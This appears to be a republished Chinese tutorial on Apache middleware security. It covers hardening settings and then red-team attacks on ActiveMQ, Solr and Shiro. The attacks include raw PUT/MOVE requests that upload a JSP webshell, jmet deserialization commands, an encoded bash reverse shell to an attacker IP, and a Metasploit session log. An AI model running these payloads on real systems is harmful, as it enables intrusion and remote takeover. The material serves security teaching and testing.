中间件安全-Apache
2020-04-24 10:25:51 Author: xz.aliyun.com(查看原文) 阅读量:306 收藏

常用的Web服务器有Apache、Negix、Tomcat等,那他们之间有什么区别:

Apache服务器与Tomcat关系

Apache只支持纯静态页面,如何需要使用第三方脚本如php\cgi\perl就需要安装第三方模块,jsp则需要安装配置tomcat。

apache通过扩展可以支持php\cgi\perl,但是要使用java的话,你需要tomcat在apache后台支撑,将java请求由apache转发给tomcat处理。
一般使用apache+tomcat的话,apache只是作为一个转发,对jsp的处理是由tomcat来处理的。

如果要在APACHE环境下运行jsp 的话就需要一个解释器来执行jsp网页 而这个jsp解释器就是TOMCAT, 为什么还要JDK呢?因为jsp需要连接数据库的话就要jdk来提供连接数据库的驱程,所以要运行jsp的web服务器平台就需要APACHE+TOMCAT+JDK

整合的好处是:

1、如果客户端请求的是静态页面,则只需要Apache服务器响应请求 如果客户端请求动态页面,则是Tomcat服务器响应请求
因为jsp是服务器端解释代码的,这样整合就可以减少Tomcat的服务开销

2、apache:侧重于http server
tomcat:侧重于servlet引擎,如果以standalone方式运行,功能上与apache等效 , 支持JSP,但对静态网页不太理想;

Apache服务器与Negix关系

Nginx是一款开源的轻量级的web服务器/反向代理服务器软件,其特点是占用内存少,并发能力强,也是目前比较流行的web服务器软件之一。静态页面处理能力较强,尤其是反向代理服务表现突出,常被用作负载均衡和代理服务器使用。常见的网站架构有:nginx+php、nginx+tomcat、nginx+apache+php等。

由于Negix服务器反向代理服务比较突出且自身不支持通过扩展实现动态页面,往往使用Negix通过反向代理将请求发送到后端的服务器,
例如 Tomcat、Apache、IIS 等来完成动态页面的请求处理

2、安全配置

2.1 目录遍历

导致目录遍历的配置:

修改配置为:

2.2 隐藏Apache响应头中的版本信息

修改http.conf中ServerToken字段,若系统配置文件中不存在则直接添加。

ServerTokens Prod  显示“Server: Apache”  
ServerTokens Major 显示 “Server: Apache/2″  
ServerTokens Minor 显示“Server: Apache/2.2″  
ServerTokens Min   显示“Server: Apache/2.2.17″  
ServerTokens OS    显示 “Server: Apache/2.2.17 (Unix)”  
ServerTokens Full  显示 “Server: Apache/2.2.17 (Unix) PHP/5.3.5″

2.3 禁用非法的HTPP方法,同时禁用TRACE方法

在http.conf中添加配置信息

<Location "/">
<LimitExcept GET POST OPTIONS>   
    Order Allow,Deny    
    Deny from all    
</LimitExcept>      
</Location>    
TraceEnable off

2.3 Apache文件解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

因此我可以上传一个test.php.qwea文件绕过验证且服务器依然会将其解析为php。

3、红队常见攻击漏洞

3.1 Apache ActiveMQ

Console存在默认端口和默认密码/未授权访问

ActiveMQ默认使用8161端口(默认密码为admin:admin)

ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息(无需认证):

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: XXXXXX:8161
Authorization: Basic XXXXX
Content-Length: 4

test

ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell(需要认证成功)

PUT /fileserver/667.jsp HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 842

shell code

上传的shell缺少执行权限

成功根据任意文件移动将shell进行转移至有执行权限的目录

利用PUT方法写入ssh公钥

使用ssh-keygen -t rsa生成密钥对

移动公钥文件目录并重命名文件

之后即可使用ssh直接进行连接

ActiveMQ任意文件文件移动漏洞

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

可以借助PUT方法构造不存在的目录,造成服务器返回真实的物理路径,从而将shell移动到具有执行权限的目录。

MOVE /fileserver/shell.jsp HTTP/1.1
Destination: file:////usr/local/Cellar/activemq/5.10.1/libexec/webapps/admin/667.jsp
Host: IP
Authorization: Basic XXXXXXXXX
Content-Length: 17

Content-Length: 0

ActiveMQ反序列化漏洞

影响版本:Apache ActiveMQ 5.13.0的版本之前
CVE信息:CVE-2015-5254

ActiveMQ默认开启61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递;
8161端口是网络管理页面端口访问http://your-ip:8161 即可看到网络管理页面

攻击步骤:

构造(可以使用ysoserial)可执行命令的序列化对象,作为一个消息,发送给目标61616端口;当访问web管理页面,读取消息,触发漏洞。

1、使用jmet生成payload,需要安装java环境

地址:

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

2、执行

```java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 靶机IP 61616

![](https://ae01.alicdn.com/kf/U4bae0a5e1a7e49ef8c4b6895d1de4de1n.png)

当攻击者访问管理界面,即可查看生成的payload。点击即可触发,会在被攻击者的目录下生成一个文件。  

![](https://ae01.alicdn.com/kf/Udc91e578a7c6477fa5a6186f6ad5fda8b.png)

3、反弹shell

```bash -i >& /dev/tcp/攻击机IP/8888 0>&1

需要进行base编码绕过java机制

bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

bash -c {echo,YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTMwLzg4ODggMCZndDsmMQ0K}|{base64,-d}|{bash,-i}

再次执行攻击语句

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTMwLzg4ODggMCZndDsmMQ0K}|{base64,-d}|{bash,-i}" -Yp ROME 靶机IP 61616

侦听端口

3.2 Apache Solr

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

CVE-2019-12409

影响版本:Linux 下的环境下的Apache Solr 8.1.1和8.2.0版本

存在默认不安全配置在solr.sh(ENABLE_REMOTE_JMX_OPTS="true"),将导致启用JMX监视服务并将公网监听一个18983的RMI端口,且无需进行任何身份验证。

使用msf

msf5 > use multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > show options

Module options (exploit/multi/misc/java_jmx_server):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
   JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
   JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
   RHOSTS                         yes       The target address range or CIDR identifier
   RPORT                          yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS a.a.a.a
RHOSTS => a.a.a.a
msf5 exploit(multi/misc/java_jmx_server) > set RPORT 18983
RPORT => 18983
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > show options

Module options (exploit/multi/misc/java_jmx_server):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
   JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
   JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
   RHOSTS        a.a.a.a     yes       The target address range or CIDR identifier
   RPORT         18983            yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf5 exploit(multi/misc/java_jmx_server) > set LHOST b.b.b.b
LHOST => b.b.b.b
msf5 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on b.b.b.b:4444
[*] a.a.a.a:18983 - Using URL: http://b.b.b.b:8080/OcbYS8uaTPDH
[*] a.a.a.a:18983 - Sending RMI Header...
[*] a.a.a.a:18983 - Discovering the JMXRMI endpoint...
[+] a.a.a.a:18983 - JMXRMI endpoint on a.a.a.a:18983
[*] a.a.a.a:18983 - Proceeding with handshake...
[+] a.a.a.a:18983 - Handshake with JMX MBean server on a.a.a.a:18983
[*] a.a.a.a:18983 - Loading payload...
[*] a.a.a.a:18983 - Replied to request for mlet
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] a.a.a.a:18983 - Executing payload...
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] Sending stage (53867 bytes) to a.a.a.a
[*] Meterpreter session 1 opened (a.a.a.a:4444 -> b.b.b.b:46582) at 2019-11-21 15:24:53 +0000

meterpreter >

3.3 Apache Shiro

Shiro RememberMe 1.2.4 反序列化命令执行漏洞

影响版本:Apache Shiro <= 1.2.4

shiro为java安全框架,执行身份验证、授权、密码和会话管理。

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

检测是否使用shrio

观察登录时,响应包是否存在rememberMe标记,或修改登陆包,在Cookie中rememberMe=deleteMe,同样观察回包是否存在rememberMe标记。

可使用burpsuite自定义特征对流量进行检测、分析。

攻击:

dnslog收到请求:

漏洞利用工具:
https://github.com/kat110/Pentest/tree/master/shiro_rce

4.了解当前Apache服务器的运行权限

通常了解Apache服务的运行权限可以很好的帮助我们进行权限控制。

Linux下使用lsof -i:80查看Apache进程账户权限。

由于在Linux系统中小于1024端口都需要root权限,所以第一行为Linux系统的主进程为root权限。
其他为Apache主程序的子进程为默认www-data权限。

若系统使用为高权限账户可以修改Apache配置文件。

/etc/apache2/apache2.conf看到提示用户和用户组设置在/etc/apache2/envvars/文件。


文章来源: http://xz.aliyun.com/t/7620
如有侵权请联系:admin#unsafe.sh